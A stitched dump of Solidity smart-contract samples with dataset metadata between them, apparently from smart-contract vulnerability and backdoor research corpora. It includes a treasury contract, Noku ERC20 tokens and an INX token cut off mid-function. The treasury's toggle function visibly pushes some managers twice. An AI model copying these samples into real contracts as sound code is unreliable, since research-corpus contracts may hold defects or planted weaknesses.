mapping(address => uint32) public reserveDepositorQueue;
address[] public reserveSpenders;
mapping(address => bool) public isReserveSpender;
mapping(address => uint32) public reserveSpenderQueue;
address[] public liquidityTokens;
mapping(address => bool) public isLiquidityToken;
mapping(address => uint32) public LiquidityTokenQueue;
address[] public liquidityDepositors;
mapping(address => bool) public isLiquidityDepositor;
mapping(address => uint32) public LiquidityDepositorQueue;
mapping(address => address) public bondCalculator;
address[] public reserveManagers;
mapping(address => bool) public isReserveManager;
mapping(address => uint32) public ReserveManagerQueue;
address[] public liquidityManagers;
mapping(address => bool) public isLiquidityManager;
mapping(address => uint32) public LiquidityManagerQueue;
address[] public debtors;
mapping(address => bool) public isDebtor;
mapping(address => uint32) public debtorQueue;
mapping(address => uint) public debtorBalance;
address[] public rewardManagers;
mapping(address => bool) public isRewardManager;
mapping(address => uint32) public rewardManagerQueue;
address public SRS;
uint public SRSQueue;
uint public totalReserves;
uint public totalDebt;
constructor (address _SST,
address _MIM,
uint32 _secondsNeededForQueue) {
require(_SST != address(0));
SST = _SST;
isReserveToken[ _MIM ] = true;
reserveTokens.push(_MIM);
secondsNeededForQueue = _secondsNeededForQueue;
}
function deposit(uint _amount, address _token, uint _profit) external returns (uint send_) {
require(isReserveToken[ _token ] || isLiquidityToken[ _token ], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
if (isReserveToken[ _token ]) {
require(isReserveDepositor[ msg.sender ], "Not approved");
} else {
require(isLiquidityDepositor[ msg.sender ], "Not approved");
}
uint value = valueOf(_token, _amount);
send_ = value.sub(_profit);
IERC20Mintable(SST).mint(msg.sender, send_);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit Deposit(_token, _amount, value);
}
function withdraw(uint _amount, address _token) external {
require(isReserveToken[ _token ], "Not accepted");
require(isReserveSpender[ msg.sender ] == true, "Not approved");
uint value = valueOf(_token, _amount);
ISST(SST).burnFrom(msg.sender, value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit Withdrawal(_token, _amount, value);
}
function incurDebt(uint _amount, address _token) external {
require(isDebtor[ msg.sender ], "Not approved");
require(isReserveToken[ _token ], "Not accepted");
uint value = valueOf(_token, _amount);
uint maximumDebt = IERC20(SRS).balanceOf(msg.sender);
uint availableDebt = maximumDebt.sub(debtorBalance[ msg.sender ]);
require(value <= availableDebt, "Exceeds debt limit");
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].add(value);
totalDebt = totalDebt.add(value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).transfer(msg.sender, _amount);
emit CreateDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithReserve(uint _amount, address _token) external {
require(isDebtor[ msg.sender ], "Not approved");
require(isReserveToken[ _token ], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
uint value = valueOf(_token, _amount);
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub(value);
totalDebt = totalDebt.sub(value);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit RepayDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithSST(uint _amount) external {
require(isDebtor[ msg.sender ], "Not approved");
ISST(SST).burnFrom(msg.sender, _amount);
debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub(_amount);
totalDebt = totalDebt.sub(_amount);
emit RepayDebt(msg.sender, SST, _amount, _amount);
}
function manage(address _token, uint _amount) external {
if(isLiquidityToken[ _token ]) {
require(isLiquidityManager[ msg.sender ], "Not approved");
} else {
require(isReserveManager[ msg.sender ], "Not approved");
}
uint value = valueOf(_token, _amount);
require(value <= excessReserves(), "Insufficient reserves");
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit ReservesManaged(_token, _amount);
}
function mintRewards(address _recipient, uint _amount) external {
require(isRewardManager[ msg.sender ], "Not approved");
require(_amount <= excessReserves(), "Insufficient reserves");
IERC20Mintable(SST).mint(_recipient, _amount);
emit RewardsMinted(msg.sender, _recipient, _amount);
}
function excessReserves() public view returns (uint) {
return totalReserves.sub(IERC20(SST).totalSupply().sub(totalDebt));
}
function auditReserves() external onlyManager() {
uint reserves;
for(uint i = 0; i < reserveTokens.length; i++) {
reserves = reserves.add (valueOf(reserveTokens[ i ], IERC20(reserveTokens[ i ]).balanceOf(address(this))));
}
for(uint i = 0; i < liquidityTokens.length; i++) {
reserves = reserves.add (valueOf(liquidityTokens[ i ], IERC20(liquidityTokens[ i ]).balanceOf(address(this))));
}
totalReserves = reserves;
emit ReservesUpdated(reserves);
emit ReservesAudited(reserves);
}
function valueOf(address _token, uint _amount) public view returns (uint value_) {
if (isReserveToken[ _token ]) {
value_ = _amount.mul(10 ** IERC20(SST).decimals()).div(10 ** IERC20(_token).decimals());
} else if (isLiquidityToken[ _token ]) {
value_ = IBondCalculator(bondCalculator[ _token ]).valuation(_token, _amount);
}
}
function queue(MANAGING _managing, address _address) external onlyManager() returns (bool) {
require(_address != address(0));
if (_managing == MANAGING.RESERVEDEPOSITOR) {
reserveDepositorQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.RESERVESPENDER) {
reserveSpenderQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.RESERVETOKEN) {
reserveTokenQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.RESERVEMANAGER) {
ReserveManagerQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue.mul32(2));
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {
LiquidityDepositorQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {
LiquidityTokenQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {
LiquidityManagerQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue.mul32(2));
} else if (_managing == MANAGING.DEBTOR) {
debtorQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.REWARDMANAGER) {
rewardManagerQueue[ _address ] = uint32(block.timestamp).add32(secondsNeededForQueue);
} else if (_managing == MANAGING.SRS) {
SRSQueue = uint32(block.timestamp).add32(secondsNeededForQueue);
} else return false;
emit ChangeQueued(_managing, _address);
return true;
}
function toggle(MANAGING _managing,
address _address,
address _calculator) external onlyManager() returns (bool) {
require(_address != address(0));
bool result;
if (_managing == MANAGING.RESERVEDEPOSITOR) {
if (requirements(reserveDepositorQueue, isReserveDepositor, _address)) {
reserveDepositorQueue[ _address ] = 0;
if(!listContains(reserveDepositors, _address)) {
reserveDepositors.push(_address);
}
}
result = !isReserveDepositor[ _address ];
isReserveDepositor[ _address ] = result;
} else if (_managing == MANAGING.RESERVESPENDER) {
if (requirements(reserveSpenderQueue, isReserveSpender, _address)) {
reserveSpenderQueue[ _address ] = 0;
if(!listContains(reserveSpenders, _address)) {
reserveSpenders.push(_address);
}
}
result = !isReserveSpender[ _address ];
isReserveSpender[ _address ] = result;
} else if (_managing == MANAGING.RESERVETOKEN) {
if (requirements(reserveTokenQueue, isReserveToken, _address)) {
reserveTokenQueue[ _address ] = 0;
if(!listContains(reserveTokens, _address)) {
reserveTokens.push(_address);
}
}
result = !isReserveToken[ _address ];
isReserveToken[ _address ] = result;
} else if (_managing == MANAGING.RESERVEMANAGER) {
if (requirements(ReserveManagerQueue, isReserveManager, _address)) {
reserveManagers.push(_address);
ReserveManagerQueue[ _address ] = 0;
if(!listContains(reserveManagers, _address)) {
reserveManagers.push(_address);
}
}
result = !isReserveManager[ _address ];
isReserveManager[ _address ] = result;
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {
if (requirements(LiquidityDepositorQueue, isLiquidityDepositor, _address)) {
liquidityDepositors.push(_address);
LiquidityDepositorQueue[ _address ] = 0;
if(!listContains(liquidityDepositors, _address)) {
liquidityDepositors.push(_address);
}
}
result = !isLiquidityDepositor[ _address ];
isLiquidityDepositor[ _address ] = result;
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {
if (requirements(LiquidityTokenQueue, isLiquidityToken, _address)) {
LiquidityTokenQueue[ _address ] = 0;
if(!listContains(liquidityTokens, _address)) {
liquidityTokens.push(_address);
}
}
result = !isLiquidityToken[ _address ];
isLiquidityToken[ _address ] = result;
bondCalculator[ _address ] = _calculator;
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {
if (requirements(LiquidityManagerQueue, isLiquidityManager, _address)) {
LiquidityManagerQueue[ _address ] = 0;
if(!listContains(liquidityManagers, _address)) {
liquidityManagers.push(_address);
}
}
result = !isLiquidityManager[ _address ];
isLiquidityManager[ _address ] = result;
} else if (_managing == MANAGING.DEBTOR) {
if (requirements(debtorQueue, isDebtor, _address)) {
debtorQueue[ _address ] = 0;
if(!listContains(debtors, _address)) {
debtors.push(_address);
}
}
result = !isDebtor[ _address ];
isDebtor[ _address ] = result;
} else if (_managing == MANAGING.REWARDMANAGER) {
if (requirements(rewardManagerQueue, isRewardManager, _address)) {
rewardManagerQueue[ _address ] = 0;
if(!listContains(rewardManagers, _address)) {
rewardManagers.push(_address);
}
}
result = !isRewardManager[ _address ];
isRewardManager[ _address ] = result;
} else if (_managing == MANAGING.SRS) {
SRSQueue = 0;
SRS = _address;
result = true;
} else return false;
emit ChangeActivated(_managing, _address, result);
return true;
}
function requirements(mapping(address => uint32) storage queue_,
mapping(address => bool) storage status_,
address _address) internal view returns (bool) {
if (!status_[ _address ]) {
require(queue_[ _address ] != 0, "Must queue");
require(queue_[ _address ] <= uint32(block.timestamp), "Queue not expired");
return true;
} return false;
}
function listContains(address[] storage _list, address _token) internal view returns (bool) {
for(uint i = 0; i < _list.length; i++) {
if(_list[ i ] == _token) {
return true;
}
}
return false;
}
}
| 79,074 | 303 |
96ed2bec97902ce892c00dded7c4f3ed5e7e1d81207eca3ebaacb91646a03559
| 21,730 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x2fba8cbbdaa357f7385c0a9e4091e5cc66b2146e.sol
| 3,505 | 12,960 |
pragma solidity 0.4.19;
// File: contracts/NokuPricingPlan.sol
interface NokuPricingPlan {
function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid);
function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee);
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/NokuTokenBurner.sol
contract BurnableERC20 is ERC20 {
function burn(uint256 amount) public returns (bool burned);
}
contract NokuTokenBurner is Pausable {
using SafeMath for uint256;
event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet);
event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage);
// The wallet receiving the unburnt tokens.
address public wallet;
// The percentage of tokens to burn after being received (range [0, 100])
uint256 public burningPercentage;
// The cumulative amount of burnt tokens.
uint256 public burnedTokens;
// The cumulative amount of tokens transferred back to the wallet.
uint256 public transferredTokens;
function NokuTokenBurner(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
burningPercentage = 100;
LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
function setBurningPercentage(uint256 _burningPercentage) public onlyOwner {
require(0 <= _burningPercentage && _burningPercentage <= 100);
require(_burningPercentage != burningPercentage);
burningPercentage = _burningPercentage;
LogBurningPercentageChanged(msg.sender, _burningPercentage);
}
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0));
require(_amount > 0);
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/NokuCustomERC20.sol
contract NokuCustomERC20 is Ownable, DetailedERC20, MintableToken, BurnableToken {
using SafeMath for uint256;
event LogNokuCustomERC20Created(address indexed caller,
string indexed name,
string indexed symbol,
uint8 decimals,
address pricingPlan,
address serviceProvider);
event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage);
event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan);
// The entity acting as Custom token service provider i.e. Noku
address public serviceProvider;
address public pricingPlan;
// The fee percentage for Custom token transfer or zero if transfer is free of charge
uint256 public transferFeePercentage;
bytes32 public constant CUSTOM_ERC20_BURN_SERVICE_NAME = "NokuCustomERC20.burn";
bytes32 public constant CUSTOM_ERC20_MINT_SERVICE_NAME = "NokuCustomERC20.mint";
modifier onlyServiceProvider() {
require(msg.sender == serviceProvider);
_;
}
function NokuCustomERC20(string _name,
string _symbol,
uint8 _decimals,
address _pricingPlan,
address _serviceProvider)
DetailedERC20 (_name, _symbol, _decimals) public
{
require(bytes(_name).length > 0);
require(bytes(_symbol).length > 0);
require(_pricingPlan != 0);
require(_serviceProvider != 0);
pricingPlan = _pricingPlan;
serviceProvider = _serviceProvider;
LogNokuCustomERC20Created(msg.sender,
_name,
_symbol,
_decimals,
_pricingPlan,
_serviceProvider);
}
function isCustomToken() public pure returns(bool isCustom) {
return true;
}
function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner {
require(0 <= _transferFeePercentage && _transferFeePercentage <= 100);
require(_transferFeePercentage != transferFeePercentage);
transferFeePercentage = _transferFeePercentage;
LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage);
}
function setPricingPlan(address _pricingPlan) public onlyServiceProvider {
require(_pricingPlan != 0);
require(_pricingPlan != pricingPlan);
pricingPlan = _pricingPlan;
LogPricingPlanChanged(msg.sender, _pricingPlan);
}
function transferFee(uint256 _value) public view returns (uint256 usageFee) {
return _value.mul(transferFeePercentage).div(100);
}
function transfer(address _to, uint256 _value) public returns (bool transferred) {
if (transferFeePercentage == 0) {
return super.transfer(_to, _value);
}
else {
uint256 usageFee = transferFee(_value);
uint256 netValue = _value.sub(usageFee);
bool feeTransferred = super.transfer(owner, usageFee);
bool netValueTransferred = super.transfer(_to, netValue);
return feeTransferred && netValueTransferred;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool transferred) {
if (transferFeePercentage == 0) {
return super.transferFrom(_from, _to, _value);
}
else {
uint256 usageFee = transferFee(_value);
uint256 netValue = _value.sub(usageFee);
bool feeTransferred = super.transferFrom(_from, owner, usageFee);
bool netValueTransferred = super.transferFrom(_from, _to, netValue);
return feeTransferred && netValueTransferred;
}
}
function burn(uint256 _amount) public {
require(_amount > 0);
super.burn(_amount);
require(NokuPricingPlan(pricingPlan).payFee(CUSTOM_ERC20_BURN_SERVICE_NAME, _amount, msg.sender));
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool minted) {
require(_to != 0);
require(_amount > 0);
super.mint(_to, _amount);
require(NokuPricingPlan(pricingPlan).payFee(CUSTOM_ERC20_MINT_SERVICE_NAME, _amount, msg.sender));
return true;
}
}
| 136,367 | 304 |
87b7b08c0d1517651b54883ff6f8f65ac814203ca87343640e912959b18b7964
| 23,847 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xc06fa497387f2bb6a067bc193266919c94e874b4.sol
| 3,468 | 12,357 |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/access/rbac/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
// File: openzeppelin-solidity/contracts/access/rbac/RBAC.sol
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
// modifier onlyRoles(string[] _roles) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < _roles.length; i++) {
// if (hasRole(msg.sender, _roles[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: openzeppelin-solidity/contracts/access/Whitelist.sol
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: contracts/inx/WhitelistedMintableToken.sol
contract WhitelistedMintableToken is StandardToken, Whitelist {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) public onlyIfWhitelisted(msg.sender) returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
// File: contracts/inx/INXToken.sol
contract INXToken is WhitelistedMintableToken, StandardBurnableToken, HasNoEther {
string public constant name = "INX Token";
string public constant symbol = "INX";
uint8 public constant decimals = 18;
// flag to control "general" transfers (outside of whitelisted and founders)
bool public transfersEnabled = false;
// all the founders must be added to this mapping (with a true flag)
mapping(address => bool) public founders;
// founders have a token lock-up that stops transfers (to non-investx addresses) upto this timestamp
// locked until after the Sunday, February 28, 2021 11:59:59 PM
uint256 constant public founderTokensLockedUntil = 1614556799;
// address that the investx platform will use to receive INX tokens for investment (when developed)
address public investxPlatform;
constructor() public payable {
// contract creator is automatically whitelisted
addAddressToWhitelist(msg.sender);
}
function addAddressToFounders(address _founder) external onlyOwner {
require(_founder != address(0), "Can not be zero address");
founders[_founder] = true;
}
function enableTransfers() external onlyOwner {
require(!transfersEnabled, "Transfers already enabled");
transfersEnabled = true;
}
function setInvestxPlatform(address _investxPlatform) external onlyOwner {
require(_investxPlatform != address(0), "Can not be zero address");
investxPlatform = _investxPlatform;
}
function transfer(address _to, uint256 _value) public returns (bool) {
// transfers will be disabled during the crowdfunding phase - unless on the whitelist
require(transfersEnabled || whitelist(msg.sender), "INXToken transfers disabled");
require(!founders[msg.sender] || founderTokensLockedUntil < block.timestamp || _to == investxPlatform,
"INXToken locked for founders for arbitrary time unless sending to investx platform");
